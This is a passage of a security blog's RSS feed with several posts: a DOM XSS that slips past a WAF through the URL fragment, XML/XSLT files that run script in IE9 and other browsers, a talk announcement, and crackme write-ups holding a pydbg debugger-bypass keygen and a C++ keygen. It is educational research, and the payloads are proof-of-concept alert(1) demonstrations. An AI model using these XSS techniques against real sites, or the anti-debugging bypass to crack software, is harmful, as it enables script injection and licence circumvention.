Content-Type: text/html

&lt;html&gt;
&lt;script&gt;
function funcURL() {
   var mDiv = document.getElementById('mid');
   mDiv.innerHTML = document.URL;
}
window.onload = funcURL
&lt;/script&gt;
&lt;body&gt;
&lt;div id=&quot;mid&quot;&gt;&lt;/div&gt;
&lt;/body&gt;&lt;/html&gt;
</pre></p>
<p>An exploit doesn&#8217;t get much more straightforward than that. But here&#8217;s the catch: the URL is behind a pretty stringent WAF, where input such as &lt;, &gt;, and &#8216; is completely rejected. Is this still exploitable? Think about this for a second (the hint is that it definitely is exploitable).</p>
<p>Ok. Done? Have a working exploit?</p>
<p>My first thought was to abuse the fact that Content-type is not set to UTF-8. I had no luck with this.</p>
<p>Then I had a duh moment. # are part of document.URL, but NOT sent to the server, so the waf never sees this. So that&#8217;s the exploit. But still, innerhtml defers execution, so that needs to be addressed as well &#8211; not quite as simple as &lt;script&gt;alert(1)&lt;/script&gt; although close. The final URL works:</p>
<p>https://madeupbadURL.html?aaab#&lt;img/src=&#8217;b'/onerror=alert(1)&gt;</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/webstersprodigy.wordpress.com/903/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/webstersprodigy.wordpress.com/903/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/webstersprodigy.wordpress.com/903/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/webstersprodigy.wordpress.com/903/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/webstersprodigy.wordpress.com/903/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/webstersprodigy.wordpress.com/903/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/webstersprodigy.wordpress.com/903/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/webstersprodigy.wordpress.com/903/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/webstersprodigy.wordpress.com/903/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/webstersprodigy.wordpress.com/903/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/webstersprodigy.wordpress.com/903/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/webstersprodigy.wordpress.com/903/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/webstersprodigy.wordpress.com/903/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/webstersprodigy.wordpress.com/903/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=webstersprodigy.net&#038;blog=35949064&#038;post=903&#038;subd=webstersprodigy&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://webstersprodigy.net/2012/02/10/dom-xss-behind-a-waf/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/be2c27a28b3788a3b9a7a8fa243d2978?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">webstersprodigy</media:title>
		</media:content>
	</item>
		<item>
		<title>Serving Back XML for XSS</title>
		<link>http://webstersprodigy.net/2012/02/04/serving-back-xml-for-xss/</link>
		<comments>http://webstersprodigy.net/2012/02/04/serving-back-xml-for-xss/#comments</comments>
		<pubDate>Sat, 04 Feb 2012 01:17:01 +0000</pubDate>
		<dc:creator>webstersprodigy</dc:creator>
				<category><![CDATA[GrayHat]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[browser]]></category>
		<category><![CDATA[IE]]></category>
		<category><![CDATA[xml]]></category>
		<category><![CDATA[xsl]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://webstersprodigy.net/?p=873</guid>
		<description><![CDATA[In our &#8220;New ways I&#8217;m going to hack your web app&#8221; talk, one vulnerability example we had was with wordpress. There were three pieces to the attack 1) uploading an xsl file, 2) uploading an XML file that applied the XSL transform and 3) tossing the cookie up to execute script cross domain. Nicolas Grégoire watched [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=webstersprodigy.net&#038;blog=35949064&#038;post=873&#038;subd=webstersprodigy&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>In our &#8220;<a title="Is it already 2012?" href="http://webstersprodigy.net/2012/01/is-it-already-2012/">New ways I&#8217;m going to hack your web app</a>&#8221; talk, one vulnerability example we had was with wordpress. There were three pieces to the attack 1) uploading an xsl file, 2) uploading an XML file that applied the XSL transform and 3) tossing the cookie up to execute script cross domain. Nicolas Grégoire watched our presentation and sent me an email wondering why we didn&#8217;t just use an XSLT stylesheet embedded in the XML. This is the same technique Chris Evans uses here: <a href="http://scarybeastsecurity.blogspot.com/2011/01/harmless-svg-xslt-curiousity.html">http://scarybeastsecurity.blogspot.com/2011/01/harmless-svg-xslt-curiousity.html</a>. I didn&#8217;t know this was even possible, but it turns out it makes step#1 unnecessary.</p>
<p>In our original example, we had this xsl file saved as a jpg:</p>
<p><pre class="brush: plain;">

&lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot; ?&gt;
 &lt;xsl:stylesheet id=&quot;stylesheet&quot; version=&quot;1.0&quot; xmlns:xsl=&quot;http://www.w3.org/1999/XSL/Transform&quot;&gt;
&lt;xsl:template match=&quot;/&quot;&gt;
 &lt;h3&gt;got it!!!!!&lt;/h3&gt;
 &lt;script&gt;alert(1)&lt;/script&gt;
 &lt;/xsl:template&gt;
 &lt;/xsl:stylesheet&gt;

</pre></p>
<p>And we had the xml that applied it as a wxr file.</p>
<p><pre class="brush: plain;">

&lt;?xml version=&quot;1.0&quot;?&gt;
&lt;?xml-stylesheet type=&quot;text/xsl&quot; href=&quot;./badxsl.jpg&quot;?&gt;
&lt;document&gt;
 &lt;x name=&quot;x&quot;&gt;x&lt;/x&gt;
 &lt;abc&gt;
 &lt;def&gt;def&lt;/def&gt;
 &lt;/abc&gt;
&lt;/document&gt;

</pre></p>
<p>These can be combined the same way Chris Evans does it. So for script execution in just the wxr file, the end result looks like this:</p>
<p><pre class="brush: plain;">

&lt;?xml version=&quot;1.0&quot; ?&gt;
&lt;?xml-stylesheet type=&quot;text/xsl&quot; href=&quot;#stylesheet&quot;?&gt;
&lt;!DOCTYPE responses[
&lt;!ATTLIST xsl:stylesheet
id ID #REQUIRED
&gt;
]&gt;
&lt;document&gt;
&lt;node /&gt;
&lt;xsl:stylesheet id=&quot;stylesheet&quot; version=&quot;1.0&quot; xmlns:xsl=&quot;http://www.w3.org/1999/XSL/Transform&quot;&gt;
&lt;xsl:template match=&quot;/&quot;&gt;
 &lt;h3&gt;got it!!!!!&lt;/h3&gt;
 &lt;script&gt;alert(1)&lt;/script&gt;
 &lt;/xsl:template&gt;
&lt;/xsl:stylesheet&gt;
&lt;/document&gt;

</pre></p>
<p>This fires in IE9:</p>
<p>&nbsp;</p>
<p><a href="http://webstersprodigy.net/2012/02/04/serving-back-xml-for-xss/req5/" rel="attachment wp-att-876"><img class="alignnone size-medium wp-image-876" title="req5" src="http://webstersprodigy.files.wordpress.com/2012/02/req5.png?w=500&h=321" alt="" width="500" height="321" /></a></p>
<p>This doesn&#8217;t work in Firefox or Chrome. But if an app is serving back xml then you always have other tricks, like trying to get the browser to render the xml as xhtml. Like the following works in Chrome whatever and Firefox 9, but not IE.</p>
<p><pre class="brush: plain;">
&lt;?xml version=&quot;1.0&quot;?&gt;
&lt;foo&gt;
&lt;html xmlns:html='http://www.w3.org/1999/xhtml'&gt;
 &lt;html:script&gt;alert(1);&lt;/html:script&gt;
&lt;/html&gt;
&lt;/foo&gt;

</pre></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/webstersprodigy.wordpress.com/873/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/webstersprodigy.wordpress.com/873/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/webstersprodigy.wordpress.com/873/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/webstersprodigy.wordpress.com/873/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/webstersprodigy.wordpress.com/873/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/webstersprodigy.wordpress.com/873/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/webstersprodigy.wordpress.com/873/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/webstersprodigy.wordpress.com/873/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/webstersprodigy.wordpress.com/873/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/webstersprodigy.wordpress.com/873/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/webstersprodigy.wordpress.com/873/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/webstersprodigy.wordpress.com/873/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/webstersprodigy.wordpress.com/873/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/webstersprodigy.wordpress.com/873/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=webstersprodigy.net&#038;blog=35949064&#038;post=873&#038;subd=webstersprodigy&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://webstersprodigy.net/2012/02/04/serving-back-xml-for-xss/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/be2c27a28b3788a3b9a7a8fa243d2978?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">webstersprodigy</media:title>
		</media:content>

		<media:content url="http://webstersprodigy.files.wordpress.com/2012/02/req5.png?w=500" medium="image">
			<media:title type="html">req5</media:title>
		</media:content>
	</item>
		<item>
		<title>Is it already 2012?</title>
		<link>http://webstersprodigy.net/2012/01/31/is-it-already-2012/</link>
		<comments>http://webstersprodigy.net/2012/01/31/is-it-already-2012/#comments</comments>
		<pubDate>Tue, 31 Jan 2012 07:16:41 +0000</pubDate>
		<dc:creator>webstersprodigy</dc:creator>
				<category><![CDATA[GrayHat]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[clickjacking]]></category>
		<category><![CDATA[csrf]]></category>
		<category><![CDATA[xml]]></category>
		<category><![CDATA[xslt]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://webstersprodigy.net/webstersv2/?p=813</guid>
		<description><![CDATA[I thought about starting a new blog, it&#8217;s been that long. Giving our talk, &#8220;New ways I&#8217;m going to hack your web app&#8221; at Bluehat 2011 was awesome. I practiced so much that everything just went well. Unfortunately I managed to forget a ton of it for 28c3/Blackhat and I spoke way too fast (I [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=webstersprodigy.net&#038;blog=35949064&#038;post=813&#038;subd=webstersprodigy&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>I thought about starting a new blog, it&#8217;s been that long.</p>
<p>Giving our talk, &#8220;New ways I&#8217;m going to hack your web app&#8221; at Bluehat 2011 was awesome. I practiced so much that everything just went well. Unfortunately I managed to forget a ton of it for 28c3/Blackhat and I spoke way too fast (I always do the same thing when I get nervous and don&#8217;t think about it).  Not to mention all my favorite content was needlessly censored. That sucks, but hopefully as I talk more things will get better.</p>
<span style="text-align:center; display: block;"><a href="http://webstersprodigy.net/2012/01/31/is-it-already-2012/"><img src="http://img.youtube.com/vi/hB2lPJldYQI/2.jpg" alt="" /></a></span>
<p>I hate watching that, by the way. The cool thing is there were a lot of people, I think the room holds about 1000. So that was scary, but also a great experience.</p>
<p>Here is the whitepaper:<br />
<a href="https://skydrive.live.com/redir.aspx?cid=3ac0418833532dff&amp;resid=3AC0418833532DFF!249&amp;parid=3AC0418833532DFF!264"> https://skydrive.live.com/redir.aspx?cid=3ac0418833532dff&amp;resid=3AC0418833532DFF!249&amp;parid=3AC0418833532DFF!264</a></p>
<p>and the slides:<br />
<a href="https://skydrive.live.com/redir.aspx?cid=3ac0418833532dff&amp;resid=3AC0418833532DFF!250&amp;parid=3AC0418833532DFF!264"> https://skydrive.live.com/redir.aspx?cid=3ac0418833532dff&amp;resid=3AC0418833532DFF!250&amp;parid=3AC0418833532DFF!264</a></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/webstersprodigy.wordpress.com/813/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/webstersprodigy.wordpress.com/813/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/webstersprodigy.wordpress.com/813/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/webstersprodigy.wordpress.com/813/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/webstersprodigy.wordpress.com/813/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/webstersprodigy.wordpress.com/813/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/webstersprodigy.wordpress.com/813/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/webstersprodigy.wordpress.com/813/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/webstersprodigy.wordpress.com/813/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/webstersprodigy.wordpress.com/813/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/webstersprodigy.wordpress.com/813/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/webstersprodigy.wordpress.com/813/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/webstersprodigy.wordpress.com/813/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/webstersprodigy.wordpress.com/813/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=webstersprodigy.net&#038;blog=35949064&#038;post=813&#038;subd=webstersprodigy&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://webstersprodigy.net/2012/01/31/is-it-already-2012/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/be2c27a28b3788a3b9a7a8fa243d2978?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">webstersprodigy</media:title>
		</media:content>
	</item>
		<item>
		<title>pydbg reverseme solution</title>
		<link>http://webstersprodigy.net/2010/07/07/pydbg-reverseme-solution/</link>
		<comments>http://webstersprodigy.net/2010/07/07/pydbg-reverseme-solution/#comments</comments>
		<pubDate>Wed, 07 Jul 2010 04:49:45 +0000</pubDate>
		<dc:creator>webstersprodigy</dc:creator>
				<category><![CDATA[GrayHat]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[windoze]]></category>
		<category><![CDATA[crackme]]></category>
		<category><![CDATA[debugging]]></category>
		<category><![CDATA[pydbg]]></category>
		<category><![CDATA[python]]></category>

		<guid isPermaLink="false">http://webstersprodigy.net/?p=698</guid>
		<description><![CDATA[Last week I wrote a keygen here. This is an almost identical problem, but the binary has been patched to allow debugging (I may do this programmaticly as well, but not yet). I wanted to solve this with programmatic debugging. Here is the exe: Ice9pch3. The code simply sets a breakpoint and prints the key [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=webstersprodigy.net&#038;blog=35949064&#038;post=698&#038;subd=webstersprodigy&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Last week I wrote a keygen <a href="http://webstersprodigy.wordpress.com/2010/06/22/reverseme-windows-keygen/" title="Reverseme Windows Keygen">here</a>.</p>
<p>This is an almost identical problem, but the binary has been patched to allow debugging (I may do this programmaticly as well, but not yet). I wanted to solve this with programmatic debugging. Here is the exe:<br />
<a href='https://skydrive.live.com/redir.aspx?cid=19794fac33285fd5&amp;resid=19794FAC33285FD5!154&amp;parid=19794FAC33285FD5!109'>Ice9pch3</a>.</p>
<p>The code simply sets a breakpoint and prints the key to the screen. Also it patches the process memory so that the serial is valid.</p>
<p><pre class="brush: python;">
import sys
import ctypes

from pydbg import *
from pydbg.defines import *


print &quot;This is a very stupid keygen that uses a debug method and grabs the key from memory&quot;
print &quot;prints out the valid key, and writes it to memory&quot;
print &quot;Basically, pydbg 'hello, world'&quot;
print &quot;-------------&quot;

if len(sys.argv) != 2:
    print &quot;Error. USAGE: keygen.py C:fullpathice&quot;
    sys.exit(-1)

def handler_breakpoint(mdbg):
    valid_str = &quot;&quot;
    #the valid serial is at 004030C8
    addr = 0x004030C8
    while 1:
        tmp = mdbg.read(addr, 1)
        addr += 1
        if tmp != &quot;x00&quot;:
            valid_str = valid_str + tmp
        else:
            break
    print &quot;The valid string is: &quot;, valid_str
    print &quot;Writing this to memory...&quot;
    #write this to memory at 004030b4
    #def write (self, address, data, length=0)
    wdata = ctypes.create_string_buffer(valid_str)
    mdbg.write(0x00403198, wdata, len(valid_str))
    #checking the write
    #print mdbg.read(0x00403198, len(valid_str) + 1)
    return DBG_CONTINUE

dbg = pydbg()
dbg.set_callback(EXCEPTION_BREAKPOINT, handler_breakpoint)
dbg.load(sys.argv[1])
dbg.debug_event_iteration()
#at 004011FF in execution, 
#def bp_set (self, address, description=&quot;&quot;, restore=True, handler=None):
dbg.bp_set(0x004011F5)
dbg.debug_event_loop()

</pre> </p>
<p>Updated solution. I change a register now to circumvent the isdebuggerpresent call.</p>
<p><pre class="brush: python;">
import sys
import ctypes

from pydbg import *
from pydbg.defines import *


print &quot;This is a very stupid keygen that uses a debug method and grabs the key from memory&quot;
print &quot;prints out the valid key, and writes it to memory&quot;
print &quot;Basically, pydbg 'hello, world'&quot;
print &quot;-------------&quot;

if len(sys.argv) != 2:
    print &quot;Error. USAGE: keygen.py C:fullpathice&quot;
    sys.exit(-1)

def handler_breakpoint(mdbg):
    if mdbg.get_register(&quot;EIP&quot;) == 0x004011F5:
        valid_str = &quot;&quot;
        #the valid serial is at 004030C8
        addr = 0x004030C8
        while 1:
            tmp = mdbg.read(addr, 1)
            addr += 1
            if tmp != &quot;x00&quot;:
                valid_str = valid_str + tmp
            else:
                break
        print &quot;The valid string is: &quot;, valid_str
        print &quot;Writing this to memory...&quot;
        #write this to memory at 004030b4
        #def write (self, address, data, length=0)
        #wdata = ctypes.create_string_buffer(valid_str)
        mdbg.write(0x00403198, valid_str, len(valid_str))
        #checking the write
        #print mdbg.read(0x00403198, len(valid_str) + 1)
    if mdbg.get_register(&quot;EIP&quot;) == 0x40106e:
        mdbg.set_register(&quot;EAX&quot;, 0)
    return DBG_CONTINUE

dbg = pydbg()
dbg.set_callback(EXCEPTION_BREAKPOINT, handler_breakpoint)
dbg.load(sys.argv[1])
dbg.debug_event_iteration()
#0x40106e is the point where we can circumvent the isdebugger present call
dbg.bp_set(0x40106e)
#at 004011FF in execution, 
#breakpoing for reading writing final compare
dbg.bp_set(0x004011F5)
dbg.debug_event_loop()
</pre> </p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/webstersprodigy.wordpress.com/698/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/webstersprodigy.wordpress.com/698/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/webstersprodigy.wordpress.com/698/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/webstersprodigy.wordpress.com/698/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/webstersprodigy.wordpress.com/698/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/webstersprodigy.wordpress.com/698/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/webstersprodigy.wordpress.com/698/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/webstersprodigy.wordpress.com/698/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/webstersprodigy.wordpress.com/698/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/webstersprodigy.wordpress.com/698/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/webstersprodigy.wordpress.com/698/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/webstersprodigy.wordpress.com/698/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/webstersprodigy.wordpress.com/698/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/webstersprodigy.wordpress.com/698/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=webstersprodigy.net&#038;blog=35949064&#038;post=698&#038;subd=webstersprodigy&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://webstersprodigy.net/2010/07/07/pydbg-reverseme-solution/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/be2c27a28b3788a3b9a7a8fa243d2978?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">webstersprodigy</media:title>
		</media:content>
	</item>
		<item>
		<title>Reverseme Windows Keygen</title>
		<link>http://webstersprodigy.net/2010/06/22/reverseme-windows-keygen/</link>
		<comments>http://webstersprodigy.net/2010/06/22/reverseme-windows-keygen/#comments</comments>
		<pubDate>Tue, 22 Jun 2010 04:24:12 +0000</pubDate>
		<dc:creator>webstersprodigy</dc:creator>
				<category><![CDATA[Bits and Bytes]]></category>
		<category><![CDATA[GrayHat]]></category>
		<category><![CDATA[crackmes]]></category>
		<category><![CDATA[IDA]]></category>
		<category><![CDATA[keygen]]></category>
		<category><![CDATA[ollydbg]]></category>
		<category><![CDATA[reverseme]]></category>

		<guid isPermaLink="false">http://webstersprodigy.net/?p=692</guid>
		<description><![CDATA[This one was challenging for me, and took me several hours, but was fun. I got caught up on certain parts that may not have been too difficult, but, yeah&#8230; http://crackmes.de/users/tripletordo/ice9/ You can download the executable here Ice9.zip. The first thing I noticed is probably the &#8216;trick&#8217; which was simply a call to isdebuggerpresent. I [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=webstersprodigy.net&#038;blog=35949064&#038;post=692&#038;subd=webstersprodigy&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>This one was challenging for me, and took me several hours, but was fun. I got caught up on certain parts that may not have been too difficult, but, yeah&#8230;</p>
<p>http://crackmes.de/users/tripletordo/ice9/</p>
<p>You can download the executable here <a href='https://skydrive.live.com/redir.aspx?cid=19794fac33285fd5&amp;resid=19794FAC33285FD5!154&amp;parid=19794FAC33285FD5!109'>Ice9.zip</a>.</p>
<p>The first thing I noticed is probably the &#8216;trick&#8217; which was simply a call to isdebuggerpresent. I modified the assembly immediately after from JNE to JE so that it only runs if a debugger is present, allowing me to attach my debugger.</p>
<blockquote><p>
00401071     74 0A          JE SHORT Ice9.0040107D
</p></blockquote>
<p>This took a lot of trial and error. My strategy was to replicate the logic. Once I got to the point &#8216;ecx at 0040119c&#8217; I was home free.</p>
<p><pre class="brush: cpp;">
#include &lt;iostream&gt;
#include &lt;string&gt;
using namespace std;

void main (int argc, char *argv[]) {
  if ( argc != 2) {
    cout&lt;&lt;&quot;Bad usage, enter a name &gt; 4 letters&quot;&lt;&lt;endl;
	return;
  }
  string name = argv[1];
  string ostring = name;
  int i;
  //first reverse the string
  for (i=0; i&lt;name.length(); i++) {
    name[i] = ostring [name.length()-i-1];
  }
  
  if (name.length() &lt; 4) {
    cout &lt;&lt; &quot;name must be more than 4 letters chief&quot;&lt;&lt;endl;
	return;
  }
  

  int v1 = 0;
  int cum = 0;
  for (i=1; i&lt;name.length(); i++) {
    v1 = name[i];
	if (name[i] &lt;= 90) {
	  if (v1 &gt;= 65)
	    v1 += 44;
	}
	cum += v1;
  } //ecx at 0040119C
  
  cum = 9 * (12345 * (cum + 666) - 23);
  
  char chr_403119 [122];
  unsigned int v;
  i=0;
  //no bounds checking
  do {
    v = cum;
	cum /= 0xA;
	chr_403119[i++] = v % 10 + 48;
  } while (v / 10);
  chr_403119[i] = '&#092;&#048;';
  
  printf (&quot;%s&quot;, chr_403119);
  string serial = &quot;&quot;;

  //reverse the string
  for (; i &gt;= 0; --i) {
    serial += chr_403119[i];
  }
  cout&lt;&lt;serial&lt;&lt;endl;
  
  //append all chars except the 'first' three to the end 
  for (i=3; i&lt; ostring.length(); i++) {
    serial += ostring[i];
  }
  
  cout&lt;&lt;serial&lt;&lt;endl;

}
</pre></p>
<p>My plan on this one, since it was interesting enough and because it&#8217;s relatively easy to break at the final value, is to break this a completely different way. I&#8217;d like to write a python debugging script that bypasses the isdebuggerpresent and just grabs the final value in the compare at 004011FF. This should be relatively straightforward, and hopefully a good &#8216;hello, world&#8217; to the world of python debugging. Stay tuned.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/webstersprodigy.wordpress.com/692/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/webstersprodigy.wordpress.com/692/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/webstersprodigy.wordpress.com/692/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/webstersprodigy.wordpress.com/692/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/webstersprodigy.wordpress.com/692/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/webstersprodigy.wordpress.com/692/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/webstersprodigy.wordpress.com/692/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/webstersprodigy.wordpress.com/692/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/webstersprodigy.wordpress.com/692/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/webstersprodigy.wordpress.com/692/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/webstersprodigy.wordpress.com/692/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/webstersprodigy.wordpress.com/692/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/webstersprodigy.wordpress.com/692/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/webstersprodigy.wordpress.com/692/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=webstersprodigy.net&#038;blog=35949064&#038;post=692&#038;subd=webstersprodigy&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://webstersprodigy.net/2010/06/22/reverseme-windows-keygen/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/be2c27a28b3788a3b9a7a8fa243d2978?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">webstersprodigy</media:title>
		</media:content>
	</item>
	</channel>
</rss>
